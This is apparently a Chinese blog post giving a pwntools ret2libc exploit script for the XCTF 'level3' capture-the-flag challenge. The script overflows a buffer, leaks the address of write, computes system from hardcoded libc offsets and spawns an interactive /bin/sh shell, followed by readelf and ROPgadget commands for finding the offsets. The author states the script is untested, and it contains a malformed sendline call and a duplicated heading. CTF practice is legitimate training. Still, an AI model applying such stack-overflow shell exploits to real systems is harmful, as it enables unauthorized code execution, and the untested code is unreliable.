xctf之level3

未调试,可能由错误!

from pwn import *
from LibcSearcher import *

p=process('./level3')
elf=ELF("./level3")
write_plt=elf.plt["write"]
read_plt=elf.plt["read"] #0x8048310

print "readplt:"+str(hex(read_plt))
target_func=elf.got['write']
bin_sh_addr=0x0804b000-8
start_addr=0x804848e
write_payload='a'*136+p32(0x0)+p32(read_plt)+p32(start_addr)+p32(0x00000000)+p32(bin_sh_addr)+p32(0x00000008)
p.sendafter("Input:\n",write_payload)
print "arrive B"
payload='a'*136+p32(0x0)+p32(write_plt)+p32(start_addr)+p32(0x00000001)+p32(target_func)+p32(0x00000008)
p.sendline(payload)
write_addr= u32(p.recv()[:4])
print "write_addr:"+str(hex(write_addr))
print "arrive C"

#libc=LibcSearcher("write",write_addr)
base_addr=write_addr-0x000d43c0
print "base_addr:"+str(hex(base_addr))
sys_addr=base_addr+0x0003a940
payload='a'*136+p32(0x0)+p32(sys_addr)+p32(start_addr)+p32(bin_sh_addr)
p.sendline("Input:\n",payload)
p.interactive()

寻找system偏移量:

 readelf -s pwn/libc_32.so.6|grep system
 

寻找system偏移量:

ROPgadget --binary pwn/libc_32.so.6 --string "/bin/sh"

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值